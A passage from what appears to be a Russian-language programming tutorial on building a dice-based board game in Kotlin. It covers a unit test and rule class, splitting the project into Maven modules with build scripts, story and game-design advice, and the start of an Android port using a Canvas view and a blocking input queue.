hand.addDie(new Die(Die.Type.DIVINE, 4)); //8
hand.addDie(new Die(Die.Type.DIVINE, 4)); //9
hand.addDie(new Die(Die.Type.ALLY, 4)); //A (0)
hand.addDie(new Die(Die.Type.ALLY, 4)); //B (1)
}
@Test
public void testRule1() {
HandMaskRule rule = new TripleDieHandMaskRule(
hand,
new Die.Type[]{Die.Type.PHYSICAL, Die.Type.SOMATIC},
new Die.Type[]{Die.Type.MENTAL, Die.Type.VERBAL},
new Die.Type[]{Die.Type.PHYSICAL, Die.Type.ALLY}
);
HandMask mask = new HandMask();
assertTrue("Ally should be on", rule.isAllyPositionActive(mask, 0));
assertTrue("Ally should be on", rule.isAllyPositionActive(mask, 1));
assertTrue("Should be on", rule.isPositionActive(mask, 0));
assertTrue("Should be on", rule.isPositionActive(mask, 1));
assertTrue("Should be on", rule.isPositionActive(mask, 2));
assertTrue("Should be on", rule.isPositionActive(mask, 3));
assertTrue("Should be on", rule.isPositionActive(mask, 4));
assertTrue("Should be on", rule.isPositionActive(mask, 5));
assertTrue("Should be on", rule.isPositionActive(mask, 6));
assertTrue("Should be on", rule.isPositionActive(mask, 7));
assertFalse("Should be off", rule.isPositionActive(mask, 8));
assertFalse("Should be off", rule.isPositionActive(mask, 9));
assertFalse("Rule should not be met yet", rule.checkMask(mask));
mask.addPosition(0);
assertTrue("Ally should be on", rule.isAllyPositionActive(mask, 0));
assertTrue("Ally should be on", rule.isAllyPositionActive(mask, 1));
assertTrue("Should be on", rule.isPositionActive(mask, 0));
assertTrue("Should be on", rule.isPositionActive(mask, 1));
assertTrue("Should be on", rule.isPositionActive(mask, 2));
assertTrue("Should be on", rule.isPositionActive(mask, 3));
assertTrue("Should be on", rule.isPositionActive(mask, 4));
assertTrue("Should be on", rule.isPositionActive(mask, 5));
assertTrue("Should be on", rule.isPositionActive(mask, 6));
assertTrue("Should be on", rule.isPositionActive(mask, 7));
assertFalse("Should be off", rule.isPositionActive(mask, 8));
assertFalse("Should be off", rule.isPositionActive(mask, 9));
assertFalse("Rule should not be met yet", rule.checkMask(mask));
mask.addPosition(4);
assertTrue("Ally should be on", rule.isAllyPositionActive(mask, 0));
assertTrue("Ally should be on", rule.isAllyPositionActive(mask, 1));
assertTrue("Should be on", rule.isPositionActive(mask, 0));
assertTrue("Should be on", rule.isPositionActive(mask, 1));
assertTrue("Should be on", rule.isPositionActive(mask, 2));
assertTrue("Should be on", rule.isPositionActive(mask, 3));
assertTrue("Should be on", rule.isPositionActive(mask, 4));
assertFalse("Should be off", rule.isPositionActive(mask, 5));
assertFalse("Should be off", rule.isPositionActive(mask, 6));
assertFalse("Should be off", rule.isPositionActive(mask, 7));
assertFalse("Should be off", rule.isPositionActive(mask, 8));
assertFalse("Should be off", rule.isPositionActive(mask, 9));
assertFalse("Rule should not be met yet", rule.checkMask(mask));
mask.addAllyPosition(0);
assertTrue("Ally should be on", rule.isAllyPositionActive(mask, 0));
assertFalse("Ally should be off", rule.isAllyPositionActive(mask, 1));
assertTrue("Should be on", rule.isPositionActive(mask, 0));
assertFalse("Should be off", rule.isPositionActive(mask, 1));
assertFalse("Should be off", rule.isPositionActive(mask, 2));
assertFalse("Should be off", rule.isPositionActive(mask, 3));
assertTrue("Should be on", rule.isPositionActive(mask, 4));
assertFalse("Should be off", rule.isPositionActive(mask, 5));
assertFalse("Should be off", rule.isPositionActive(mask, 6));
assertFalse("Should be off", rule.isPositionActive(mask, 7));
assertFalse("Should be off", rule.isPositionActive(mask, 8));
assertFalse("Should be off", rule.isPositionActive(mask, 9));
assertTrue("Rule should be met", rule.checkMask(mask));
mask.removePosition(0);
assertTrue("Ally should be on", rule.isAllyPositionActive(mask, 0));
assertFalse("Ally should be off", rule.isAllyPositionActive(mask, 1));
assertTrue("Should be on", rule.isPositionActive(mask, 0));
assertTrue("Should be on", rule.isPositionActive(mask, 1));
assertTrue("Should be on", rule.isPositionActive(mask, 2));
assertTrue("Should be on", rule.isPositionActive(mask, 3));
assertTrue("Should be on", rule.isPositionActive(mask, 4));
assertFalse("Should be off", rule.isPositionActive(mask, 5));
assertFalse("Should be off", rule.isPositionActive(mask, 6));
assertFalse("Should be off", rule.isPositionActive(mask, 7));
assertFalse("Should be off", rule.isPositionActive(mask, 8));
assertFalse("Should be off", rule.isPositionActive(mask, 9));
assertFalse("Rule should not be met again", rule.checkMask(mask));
}
}
```
Это утомительно, но не настолько как кажется, пока не начнешь (в какой-то момент даже увлекательно становится). Зато написав такой тест (и парочку других, на разные случаи), вы внезапно почувствуете спокойствие и уверенность в себе. Теперь никакая мелкая опечатка не испортит ваш метод и не приведет к неприятным неожиданностям, которые гораздо сложнее тестировать вручную. Мало-помалу, не торопясь, начинаем реализовывать нужные методы класса. И в конце запускаем тест, чтобы убедиться, что где-то мы допустили оплошлость. Найти проблемное место и переписать. Повторить до готовности.
```
class TripleDieHandMaskRule(
hand: Hand,
types1: Array,
types2: Array,
types3: Array)
: HandMaskRule(hand) {
private val types1 = types1.toSet()
private val types2 = types2.toSet()
private val types3 = types3.toSet()
override fun checkMask(mask: HandMask): Boolean {
if (mask.positionCount + mask.allyPositionCount != 3) {
return false
}
return getCheckedDice(mask).asSequence()
.filter { it.type in types1 }
.any { d1 ->
getCheckedDice(mask)
.filter { d2 -> d2 !== d1 }
.filter { it.type in types2 }
.any { d2 ->
getCheckedDice(mask)
.filter { d3 -> d3 !== d1 }
.filter { d3 -> d3 !== d2 }
.any { it.type in types3 }
}
}
}
override fun isPositionActive(mask: HandMask, position: Int): Boolean {
if (mask.checkPosition(position)) {
return true
}
val die = hand.dieAt(position) ?: return false
return when (mask.positionCount + mask.allyPositionCount) {
0 -> die.type in types1 || die.type in types2 || die.type in types3
1 -> with(getCheckedDice(mask).first()) {
(this.type in types1 && (die.type in types2 || die.type in types3))
|| (this.type in types2 && (die.type in types1 || die.type in types3))
|| (this.type in types3 && (die.type in types1 || die.type in types2))
}
2-> with(getCheckedDice(mask)) {
val d1 = this[0]
val d2 = this[1]
(d1.type in types1 && d2.type in types2 && die.type in types3) ||
(d2.type in types1 && d1.type in types2 && die.type in types3) ||
(d1.type in types1 && d2.type in types3 && die.type in types2) ||
(d2.type in types1 && d1.type in types3 && die.type in types2) ||
(d1.type in types2 && d2.type in types3 && die.type in types1) ||
(d2.type in types2 && d1.type in types3 && die.type in types1)
}
3 -> false
else -> false
}
}
override fun isAllyPositionActive(mask: HandMask, position: Int): Boolean {
if (mask.checkAllyPosition(position)) {
return true
}
if (hand.allyDieAt(position) == null) {
return false
}
return when (mask.positionCount + mask.allyPositionCount) {
0 -> ALLY in types1 || ALLY in types2 || ALLY in types3
1 -> with(getCheckedDice(mask).first()) {
(this.type in types1 && (ALLY in types2 || ALLY in types3))
|| (this.type in types2 && (ALLY in types1 || ALLY in types3))
|| (this.type in types3 && (ALLY in types1 || ALLY in types2))
}
2-> with(getCheckedDice(mask)) {
val d1 = this[0]
val d2 = this[1]
(d1.type in types1 && d2.type in types2 && ALLY in types3) ||
(d2.type in types1 && d1.type in types2 && ALLY in types3) ||
(d1.type in types1 && d2.type in types3 && ALLY in types2) ||
(d2.type in types1 && d1.type in types3 && ALLY in types2) ||
(d1.type in types2 && d2.type in types3 && ALLY in types1) ||
(d2.type in types2 && d1.type in types3 && ALLY in types1)
}
3 -> false
else -> false
}
}
}
```
Если у вас есть идеи, как реализовать такой функционал проще — милости прошу в комментарии. А я несказанно рад, что мне хватило ума начать реализацию данного класса именно с написания теста.
*«И я <...> тоже <...> очень <...> рад <...>. Залезь! <...> обратно! <...> в щель!»*
Шаг шестнадцатый. Модульность
-----------------------------
Как и ожидалось, повзрослевшие детки не могут всю жизнь находиться под кровом родителей — рано или поздно они должны выбрать свой собственный путь и смело идти по нему, преодолевая трудности и нестроения. Так и разработанные нами компоненты возмужали настолько, что им стало тесно под одной крышей. Пришло время разделить их на несколько частей.
Перед нами стоит достаточно тривиальная задача. Необходимо разбить все созданные доселе классы на три группы:
* базовая функциональность: модуль, игровой движок, интерфейсы-коннекторы и не зависящие от платформы реализации (**core**);
* шаблоны сценариев, местностей, врагов и препятствий — составные части так называемого «приключения» (**adventure**);
* конкретные реализации интерфейсов, специфичные для конкретной платформы: в нашем случае — консольного приложения (**cli**).
Результат такого разделения в конечном итоге будет выглядеть приблизительно как на следующей диаграмме:
**Словно актеры в конце представления, наши сегодняшние герои вновь выходят на сцену в полном составе**[](https://habrastorage.org/webt/ci/t5/gm/cit5gmpnmhdsrzoprl0fagpzpw8.png)
Создайте дополнительные проекты и перенесите соответствующие класс. А нам осталось только грамотно настроить взаимодействие проектов между собой.
**Проект Core**
Данный проект представляет собой движок в чистом виде. Все специфичные классы были перенесены в другие проекты — осталась лишь базовая функциональность, ядро. Библиотека, если хотите. Здесь больше нет запускающего класса, нет даже необходимости собирать пакет. Сборки этого проекта будут размещаться в локальном репозитории Maven (о чем позже) и использоваться другими проектами в качестве зависимостей.
Файл `pom.xml` выглядт следующим образом:
```
4.0.0
my.company
dice-core
1.0
jar
org.jetbrains.kotlin
kotlin-stdlib
${kotlin.version}
junit
junit-dep
4.8.2
test
org.jetbrains.kotlin
UTF-8
1.8
1.8
1.3.20
true
```
Отныне собирать его будем так:
```
mvn -f "path_to_project/DiceCore/pom.xml" install
```
**Проект Cli**
Здесь находится точка входа в приложение — именно с этим проектом будет взаимодействовать конечный пользователь. Ядро используется в качестве зависимости. Поскольку в нашем примере мы работаем с консолью, проект будет содержать классы, необходимые для работы с ней (если вдруг нам захочется запустить игру на кофеварке, мы попросту заменим этот проект на аналогичный — с соответствующими реализациями). Тут же будем складывать ресурсы (строки, аудиофайлы итп.).
В файл `pom.xml` перекочуют зависимости от внешних библиотек:
```
4.0.0
my.company
dice-cli
1.0
jar
org.jetbrains.kotlin
kotlin-stdlib
${kotlin.version}
my.company
dice-core
1.0
compile
org.fusesource.jansi
jansi
1.17.1
compile
jline
jline
2.14.6
compile
com.googlecode.soundlibs
jlayer
1.0.1.4
compile
org.jetbrains.kotlin
maven-assembly-plugin
2.6
package
single
jar-with-dependencies
my.company.dice.MainKt
UTF-8
1.8
1.8
1.3.20
true
```
Скрипт для сборки и запуска этого проекта мы уже видели — не станем повторяться.
**Приключения**
Ну и напоследок в отдельный проект вынесем сюжетную часть. То есть, все сценарии, местности, врагов и прочие уникальные объекты игрового мира, какие только вообразят сотрудники сценарного отдела вашей компании (ну или пока что лишь наша собственная больная фантазия — мы все еще единственный гейм-дизайнер в округе). Идея состоит в том, чтобы группировать сценарии в наборы (приключения) и распространять каждый такой набор в виде отдельного проекта (подобно тому как это делается в мире настольных и видео-игр). То есть, собирать jar-архивы и складывать их в отдельную папку, с тем чтобы игровой движок сканировал эту папку и автоматически подключал все содержащиеся там приключения. Однако техническая реализация такого подхода сопряжена с огромными трудностями.
С чего бы начать? Ну во-первых, с того что мы распространяем шаблоны в виде конкретных java-классов (ага, бейте меня и ругайте — я заранее это предвидел). А раз так, то эти классы во время запуска должны находиться в classpath приложения. Обеспечить выполнение этого требования несложно — вы явно прописываете ваши jar-файлы в соответствующую переменную окружения (начиная с Java 6 можно даже использовать \* — *wildcards*).
```
java -classpath "path_to_project/DiceCli/target/adventures/*" -jar path_to_project/DiceCli/target/dice-1.0-jar-with-dependencies.jar
```
*«Дурак, что ли? При использовании ключа -jar ключ -classpath игнорируется!»*
Однако это работать не будет. Classpath для исполняемых jar-архивов необходимо явно прописывать во внутреннем файле `META-INF/MANIFEST.MF` (секция так и называется — `Claspath:`). Ничего страшного, для этого даже специальные плагины имеются ([maven-compiler-plugin](https://maven.apache.org/plugins/maven-compiler-plugin/) или, на худой конец, [maven-assembly-plugin](http://maven.apache.org/plugins/maven-assembly-plugin/)). Вот только wildcards в манифесте, увы, не работают — вам придется явно указывать названия зависимых jar-файлов. То есть, знать их заранее, что в нашем случае проблематично.
И вообще, я не так хотел. Я хотел, чтобы проект не нужно было заново компилировать. Чтобы в папку `adventures/` можно было накидать любое количество приключений, и чтобы все они были видны игровому движку в процессе выполнения. К сожалению, кажущаяся очевидной функциональность выходит за рамки стандартных представлений мира Java. А потому и не приветствуется. Нужно реализовывать другой подход к распространению независимых приключений. Какой? Не знаю, пишите в комментариях — наверняка у кого-то есть умные идеи.
А пока идей нет, вот мелкая (или крупная, смотря как посмотреть) хитрость, позволяющая динамически добавлять зависимости в classpath даже не зная их названий и без необходимости заново компилировать проект:
В Windows:
```
@ECHO OFF
call "path_to_maven\mvn.bat" -f "path_to_project\DiceCore\pom.xml" install
call "path_to_maven\mvn.bat" -f "path_to_project\DiceCli\pom.xml" package
call "path_to_maven\mvn.bat" -f "path_to_project\TestAdventure\pom.xml" package
mkdir path_to_project\DiceCli\target\adventures
copy "path_to_project\TestAdventure\target\test-adventure-1.0.jar" path_to_project\DiceCli\target\adventures\
chcp 65001
cd path_to_project\DiceCli\target\
java -Dfile.encoding=UTF-8 -cp "dice-cli-1.0-jar-with-dependencies.jar;adventures\*" my.company.dice.MainKt
pause
```
И в Unix:
```
#!/bin/sh
mvn -f "path_to_project/DiceCore/pom.xml" install
mvn -f "path_to_project/DiceCli/pom.xml" package
mvn -f "path_to_project/TestAdventure/pom.xml" package
mkdir path_to_project/DiceCli/target/adventures
cp path_to_project/TestAdventure/target/test-adventure-1.0.jar path_to_project/DiceCli/target/adventures/
cd path_to_project/DiceCli/target/
java -cp "dice-cli-1.0-jar-with-dependencies.jar:adventures/*" my.company.dice.MainKt
```
А хитрость вот в чем. Вместо использования ключа `-jar` мы добавляем проект **Cli** в classpath и явно указываем в качестве точки входа содержащийся внутри него класс `MainKt`. Плюс здесь же подключаем все архивы из папки `adventures/`.
Не нужно лишний раз указывать, насколько это кривое решение — я и сам знаю, спасибо. Лучше предложите свои идеи в комментариях. *Please*. (ಥ﹏ಥ)
Шаг семнадцатый. Сюжет
----------------------
Немного лирики.
Наша статья о технической стороне рабочего процесса, но игры — это не только программный код. Это захватывающие миры с интересными событиями и живыми персонажами, в которые погружаешься с головой, отрешившись от мира реального. Каждый такой мир по-своему необычен и по-своему интересен, о многих из них помнишь до сих пор, спустя много лет. Если хотите, чтобы и о вашем мире тоже вспоминали с теплыми чувствами, сделайте его необычным и интересным.
Знаю, мы тут программисты, а не писатели-сценаристы, но какие-то базовые представления о повествовательной составляющей игрового жанра имеем (геймеры со стажем, не так ли?). Как и в любой книге, история должна иметь завязку (в которой мы постепенно описываем предстающую перед героями проблему), развитие, два-три интересных поворота, кульминацию (наиболее острый момент сюжета, когда читатели замирают в волнении и забывают дышать) и развязку (в которой события постепенно подходят к своему логическому завершению). Избегайте недосказанности, логической необоснованности и сюжетных дыр — все начатые линии должны прийти к адекватному завершению.
Ну и давайте свою историю другим почитать — непредвзятый взгляд со стороны очень часто помогает понять сделанные огрехи и вовремя их исправить.
**Сюжетная завязка игры**Действие игры происходит с вымышленной фентезийной вселенной и начинается, как это часто бывает, с глобальной войны всех со всеми. Из восьми вступивших в противостояние государств, к концу осталось лишь два: Эстрелла (конституционная монархия) и Асмус (олигархическая республика), меньше всего пострадавших. Посколько дальнейшая борьба не имела никакого смысла, выжившие вынуждены были подписать перемирие.
Наши герои — подданные уничтоженного государства, в ходе перепетий военного времени попавшие в плен и отправленные на рудник добывать медь. Через два года тяжелой работы, по счастливому стечению обстоятельств они были вызволены войсками Асмуса и отправлены в один из наименее пострадавших его регионов, чтобы начать новую спокойную жизнь.
Но, как говорится, не тут-то было. Человек, к которому их направили, бесследно исчезает, а наши герои ввязываются в местные разборки с участием криминальных группировок, правохранительных органов и случайных лиц. В чем мы им с радостью помогаем.
Я, к счастью, не Толкиен, излишне детализированно игровой мир не прорабатывал, но попытался сделать его достаточно интересным и, что самое важное, логически обоснованным. При этом позволил себе внести некоторые неясности, кои каждый игрок волен интерпретировать на свой лад. Например, нигде не делал акцент на уровне технологического развития описываемого мира: феодальный строй и современные демократические институты, злобные тираны и организованные преступные группировки, высшая цель и банальное выживание, поездки на автобусах и драки в тавернах — даже стреляют персонажи непонятно из чего: то ли из луков/арбалетов, то ли из штурмовых винтовок. В мире присутствует подобие магии (ее наличие добавляет геймплею тактических возможностей) и элементы мистики (просто, чтоб было).
Хотелось отойти от сюжетных клише и фентезийного ширпотреба — всех этих эльфов, гномов, драконов, черных властелинов и абсолютного мирового зла (а также: избранных героев, древних пророчеств, супер-артефактов, эпичных сражений… хотя последние можно оставить). Также очень хотелось сделать мир живым, чтобы у каждого встреченного персонажа (даже второстепенного) была своя история и мотивация, чтобы элементы игровой механики вписывались в законы мира, чтобы развитие героев происходило естественно, чтобы наличие врагов и препятствий в локациях было логически обосновано особенностями самой локации… и так далее. К сожалению, это стремление сыграло злую шутку, очень сильно замедлив процесс разработки, да и не всегда так уж удавалось отойти от игровых условностей. Тем не менее, удовлетворения от конечного продукта получилось на порядок больше.
Что я хочу всем этим сказать? Продуманный интересный сюжет — возможно, и не такая большая необходимость, но от его наличия ваша игра совершенно не пострадает: в лучшем случае игроки будут им наслаждаться, в худшем — просто проигнорируют. А особо увлеченные даже простят вашей игре какие-то функциональные огрехи, лишь бы узнать, чем закончится история.
Что дальше?
-----------
Дальше программирование заканчивается и начинается *game design*. Теперь пора не код писать, а продумывать сценарии, локации, врагов — вы поняли, вот эту всю муть. Если вы по-прежнему работаете в одиночку, я вас поздравляю — вы достигли этапа, на котором бросается большинство игровых проектов. В крупных ААА-студиях дизайнерами и сценаристами работают специальные люди, которые за это деньги получают — им попросту деваться некуда. У нас же вариантов полно: пойти погулять, поесть, поспать банально — да что уж там, даже начать новый проект, пользуясь накопленным опытом и знаниями.
Если вы все еще тут и желаете во что бы то ни стало продолжать, то готовьтесь к трудностям. Нехватка времени, лень, отсутствие творческого вдохновения — вас постоянно будет что-то отвлекать. Преодолеть все эти препятствия нелегко (опять-таки, много статей написано на эту тему), но возможно. В первую очередь советую хорошенько спланировать дальнейшее развитие проекта. Благо, мы работаем в свое удовольствие, издатели нас не подгоняют, выполнения каких-то конкретных сроков никто не требует — а значит есть возможность подойти к делу без лишней спешки. Составьте «дорожную карту» (roadmap) проекта, определите основные этапы и (если хватит смелости) приблизительные сроки их выполнения. Заведите себе записную книжку (можно электронную) и постоянно записывайте в нее возникающие идеи (даже внезпно проснувшись среди ночи). Отмечайте свой прогресс при помощи таблиц ([например, таких](https://docs.google.com/spreadsheets/d/1gaw3RRsy-UHewTLF1XKFqEjLcd7UXegG0rKeRPB4wJw/edit#gid=0)) или других вспомогательных средств. Начните вести документацию: как внешнуюю, публичную ([вики, например](http://dice.alexan2s.beget.tech)) для будущего огромного сообщества фанатов, так и внутреннюю, для себя (ссылкой не поделюсь) — поверьте, без нее после месяца перерыва вы уже и не вспомните, что конкретно и как делали. В общем, пишите как можно больше сопроводительной информации о своей игре, только не забывайте при этом писать саму игру. Базовые варианты я предложил, а конкретных советов не даю — каждый сам для себя решает, каким образом ему комфортнее организовывать свой рабочий процесс.
*«А все-таки, про игровой баланс не хочешь рассказать?»*
Сразу подготовьте себя к тому, что создать идеальную игру с первого раза не получится. Рабочий прототип это хорошо — он на первых порах покажет состоятельность проекта, убедит или разочарует вас и даст ответ на очень важный вопрос: «а стоит ли продолжать?». Однако он не ответит на множество других вопросов, главный из которых, наверное: «будет ли интересно играть в мою игру в долгосрочной перспективе?». Существует огромное количество теорий и статей (ну вот, опять) на эту тему. Интересная игра должна быть в меру сложной, так как слишком простая игра не делает вызов (challenge) игроку. С другой стороны, если сложность будет запредельная, из игровой аудитории останутся только упоротые хардкорщики или люди, стремящиеся что-то кому-то доказать. Игра должна быть достаточно разнообразной, в идеале — предоставлять несколько вариантов достижения цели, чтобы каждый игрок подобрал себе вариант по вкусу. Одна стратегия прохождения не должна доминировать над остальными, иначе использовать будут только ее… И так далее.
Иными словами, игру нужно сбалансировать. Особенно это касается настольной игры, где правила четко формализованы. Как это сделать? Понятия не имею. Если у вас нет друга-математика, способного составить математическую модель (я видел, такое делают) и вы сами в этом ничего не понимаете (а мы не понимаем), то остается единственный выход — ~~положиться на интуицию~~ *playtesting*. Сначала играйте в игру сами. Когда надоест — предлагайте играть жене. После развода предлагайте играть другим родственникам, друзьям, знакомым, случайным людям на улице. Когда останетесь совсем один — выкладывайте сборки в интернете. Люди заинтересуются, захотят поиграть, а вы им в ответ: «с тебя feedback!». Может, кто-то полюбит вашу мечту так же, как и вы, и захочет с вами сотрудничать — найдете таким образом единомышленников или хотя бы группу поддержки (как думаете, зачем я эту статью написал?) (хе-хе).
Шутки в сторону, желаю нам… вам всем успехов. Побольше читайте (кто бы мог подумать!) — про гейм-дизайн и не только. Все рассмотренные нами вопросы уже освещались так или иначе в статьях и литературе (хотя, если вы все еще здесь, призывать вас к чтению явно излишне). Делитесь впечатлениями, общайтесь на форумах — в общем, вы и так все лучше меня знаете. Не ленитесь и все у вас получится.
На этой оптимистичной ноте разрешите откланяться. Благодарю всех за внимание. Увидимся!
*«Э! Какой увидимся? Как теперь это все на мобилке запустить? Я что, зря ждал, что ли?»*
Послесловие. Андроид
--------------------
Для описания интеграции нашего игрового движка с платформой Андроид, оставим в покое класс `Game` и рассмотрим аналогичный ему, но гораздо более простой класс `MainMenu`. Как понятно из названия, предназначен он для реализации главного меню приложения и по сути является первым классом, с которым пользователь начинает взаимодействие.
**В консольном интерфейсе это выглядит так**[](https://habrastorage.org/webt/fx/ov/q7/fxovq7xubhonlcjjwziyvhfl_6g.png)
Как и класс `Game`, он задает бесконечный цикл, на каждой итерации которого происходит отрисовка экрана и запрос команды от пользователя. Только никакой сложной логики здесь нет и команд этих значительно меньше. Мы реализуем по сути одну — «Exit».
**Диаграмма деятельности для главного меню**[](https://habrastorage.org/webt/0_/xq/b5/0_xqb5sblm16brzqyrpibavvxco.png)
Несложно, правда? О том и речь. Код тоже на порядок проще.
```
class MainMenu(
private val renderer: MenuRenderer,
private val interactor: MenuInteractor
) {
private var actions = ActionList.EMPTY
fun start() {
Audio.playMusic(Music.MENU_MAIN)
actions = ActionList()
actions.add(Action.Type.NEW_ADVENTURE)
actions.add(Action.Type.CONTINUE_ADVENTURE, false)
actions.add(Action.Type.MANUAL, false)
actions.add(Action.Type.EXIT)
processCycle()
}
private fun processCycle() {
while (true) {
renderer.drawMainMenu(actions)
when (interactor.pickAction(actions).type) {
Action.Type.NEW_ADVENTURE -> TODO()
Action.Type.CONTINUE_ADVENTURE -> TODO()
Action.Type.MANUAL -> TODO()
Action.Type.EXIT -> {
Audio.stopMusic()
Audio.playSound(Sound.LEAVE)
renderer.clearScreen()
Thread.sleep(500)
return
}
else -> throw AssertionError("Should not happen")
}
}
}
}
```
Взаимодействие с пользователем реализуется при помощи интерфейсов `MenuRenderer` и `MenuInteractor`, работающими аналогично виденному ранее.
```
interface MenuRenderer: Renderer {
fun drawMainMenu(actions: ActionList)
}
interface Interactor {
fun anyInput()
fun pickAction(list: ActionList): Action
}
```
Как вы уже поняли, мы не зря отделяли интерфейсы от конкретных реализаций. Все, что нам теперь нужно, заменить проект **Cli** новым проектом (назовем его **Droid**), добавив зависимость от проекта **Core**. Сделаем это.
Запустим Android Studio (обычно проекты под Андроид разрабатываются в ней), создадим простой проект, удалив всю ненужную стандартную мишуру и оставив лишь поддержку языка Kotlin. Добавим также зависимость от проекта **Core**, который хранится в локальном Maven-репозитории нашей машины.
```
apply plugin: 'com.android.application'
apply plugin: 'kotlin-android'
apply plugin: 'kotlin-android-extensions'
android {
compileSdkVersion 28
defaultConfig {
applicationId "my.company.dice"
minSdkVersion 14
targetSdkVersion 28
versionCode 1
versionName "1.0"
}
}
dependencies {
implementation "org.jetbrains.kotlin:kotlin-stdlib-jdk7:$kotlin_version"
implementation "my.company:dice-core:1.0"
}
```
По умолчанию, однако, нашу зависимость никто не увидит — необходимо явно указать необходимость использования локального репозитория (mavenLocal) при сборке проекта.
```
buildscript {
ext.kotlin_version = '1.3.20'
repositories {
google()
jcenter()
mavenLocal()
}
dependencies {
classpath 'com.android.tools.build:gradle:3.3.0'
classpath "org.jetbrains.kotlin:kotlin-gradle-plugin:$kotlin_version"
}
}
allprojects {
repositories {
google()
jcenter()
mavenLocal()
}
}
```
Вы увидите, что все разработанные ранее классы досутпны для использования, а интерфейсы — для реализации. Интересует нас, по большому счету, уже знакомые нам интерфейсы: `SoundPlayer`, `MusicPlayer`, `MenuInteractor` (аналог `GameInteractor`), `MenuRenderer` (аналог `GameRenderer`) и `StringLoader`, для которых напишим новые, специфичные для андроида реализации. Но перед этим прикинем, как вообще будет происходить взаимодействие пользователя с нашей новой системой.
Для отрисовки элементов интерфейса мы не станем использовать стандартные компоненты (кнопки, картинки, поля для ввода итп) Android — вместо этого ограничимся возможностями класса `Canvas`. Для этого нам достаточно создать один-единственный наследник класса `View` — это и будет наш «холст». С вводом чуть сложнее, так как клавиатуры у нас больше нет, и интерфейс необходимо разрабатывать таким образом, чтобы вводом команд считались нажатия пользователя на определенные части экрана. Для этого воспользуемся все тем же наследником `View` — таким образом, он будет выступать посредником между пользователем и игровым движком (аналогично тому, как ранее таким посредником выступала системная консоль).
Создадим основную активность для нашего View и пропишем ее в манифесте.
```
```
Зафиксируем активность в альбомной ориентации — как в случае с большинством остальных игр, портретная нам не понядобится. Более того, развернем ее на весь экран устройства, прописав соответствующим образом основную тему.
```
```
И раз уж мы полезли в ресурсы, перенесем из проекта **Cli** нужные нам локализованные строки, приведя их к нужному формату:
```
N
ew adventure
C
ontinue adventure
M
anual
X
Exit
```
А также используемые в главном меню файлы звуков и музыки (по одному каждого вида), расположив их в `/assets/sound/leave.wav` и `/assets/music/menu_main.mp3` соответственно.
Когда с ресурсами разобрались, настало время заняться дизайном (да, опять). В отличие от консоли, платформа Андроид имеет свои архитектурные особенности, что вынуждает нас использовать специфические подходы и методы.
**Диаграмма классов и интерфейсов**[](https://habrastorage.org/webt/xb/m4/uc/xbm4ucar6ewumegpof3hr53c0a4.png)
Подождите, не падайте в обморок, сейчас все подробно объясню.
Начнем, пожалуй, с самого сложного — класса `DiceSurface` — того самого наследника `View`, который призван скрепить воедино независимые части нашей системы (при желании можно унаследовать его от класса `SurfaceView` — или даже `GlSurfaceView` — и производить отрисовку в отдельном потоке, но игра у нас пошаговая, бедная на анимации, сложного графического вывода не требующая, потому не станем усложнять). Как было сказано ранее, его реализация будет решать сразу две задачи: вывод изображения и обработка нажатий, каждая из которых имеет свои неожиданные сложности. Рассмотрим их по порядку.
Когда мы рисовали на консоли, наш Renderer отправлял команды вывода и формировал изображение на экране. В случае с Андроид ситуация обратная — отрисовка инициируется самим View, который к моменту выполнения метода `onDraw()` уже должен знать, что, как и где, рисовать. А как же метод `drawMainMenu()` интерфейса `MainMenu`? Он теперь не управляет выводом?
Попробуем решить эту задачу при помощи функциональных интерфейсов. Класс `DiceSurface` будет содержать особый параметр `instructions` — по сути, блок кода, который необходимо выполнить каждый раз при вызове метода `onDraw()`. Renderer же, при помощи публичного метода будет указывать, какие конкретно инструкции следует исполнять. Если кому интересно, используемый паттерн называется *стратегия* (strategy). Выглядит это следующим образом:
```
typealias RenderInstructions = (Canvas, Paint) -> Unit
class DiceSurface(context: Context) : View(context) {
private var instructions: RenderInstructions = { _, _ -> }
private val paint = Paint().apply {
color = Color.YELLOW
style = Paint.Style.STROKE
isAntiAlias = true
}
fun updateInstructions(instructions: RenderInstructions) {
this.instructions = instructions
this.postInvalidate()
}
override fun onDraw(canvas: Canvas) {
super.onDraw(canvas)
canvas.drawColor(Color.BLACK) //Fill background with black color
instructions.invoke(canvas, paint) //Execute current render instructions
}
}
class DroidMenuRenderer(private val surface: DiceSurface): MenuRenderer {
override fun clearScreen() {
surface.updateInstructions { _, _ -> }
}
override fun drawMainMenu(actions: ActionList) {
surface.updateInstructions { c, p ->
val canvasWidth = c.width
val canvasHeight = c.height
//Draw title text
p.textSize = canvasHeight / 3f
p.strokeWidth = 0f
p.color = Color.parseColor("#ff808000")
c.drawText(
"DICE",
(canvasWidth - p.measureText("DICE")) / 2f,
(buttonTop - p.ascent() - p.descent()) / 2f,
p
)
//Other instructions...
}
}
}
```
То есть, вся графическая функциональность по-прежнему находится в классе Renderer, но в этот раз мы не напрямую исполняем команды, а подготавливаем их для исполнения нашим View. Обратите внимание на тип свойства `instructions` — можно было бы создать отдельный интерфейс и вызывать его единственный метод, но Kotlin позволяет значительно сократить количество кода.
Теперь про Interactor. Ранее ввода данных происходил синхронно: когда мы запрашивали данные у консоли (клавиатуры), выполнение приложения (циклов) приостанавливалось, пока пользователь не нажимал клавишу. С Андроидом такой трюк не пройдет — у него есть свой Looper, работу которого мы ни в коем случае не должны нарушать, а значит ввод должен быть асинхронным. То есть методы интерфейса Interactor по-прежнему приостанавливают работу движка и ожидают команд, в то время как Activity и все ее View продолжают работать, пока рано или поздно эту команду не отправят.
Такой подход достаточно просто реализовать при помощи стандартного интерфейса `BlockingQueue`. Класс `DroidMenuInteractor` будет вызывать метод `take()`, который приостановит выполнение игрового потока до тех пор, пока в очереди не появятся элементы (экземпляры знакомого нам класса `Action`). `DiceSurface`, в свою очередь, будет регировать на нажатия пользователя (стандартный метод `onTouchEvent()` класса `View`), генерировать объекты и добавлять их в очередь методом `offer()`. Выглядеть это будет следующим образом:
```
class DiceSurface(context: Context) : View(context) {
private val actionQueue: BlockingQueue = LinkedBlockingQueue()
fun awaitAction(): Action = actionQueue.take()
override fun onTouchEvent(event: MotionEvent): Boolean {
if (event.action == MotionEvent.ACTION\_UP) {
actionQueue.offer(Action(Action.Type.NONE), 200, TimeUnit.MILLISECONDS)
}
return true
}
}
class DroidMenuInteractor(private val surface: DiceSurface) : Interactor {
override fun anyInput() {
surface.awaitAction()
}
override fun pickAction(list: ActionList): Action {
while (true) {
val type = surface.awaitAction().type
list
.filter(Action::isEnabled)
.find { it.type == type }
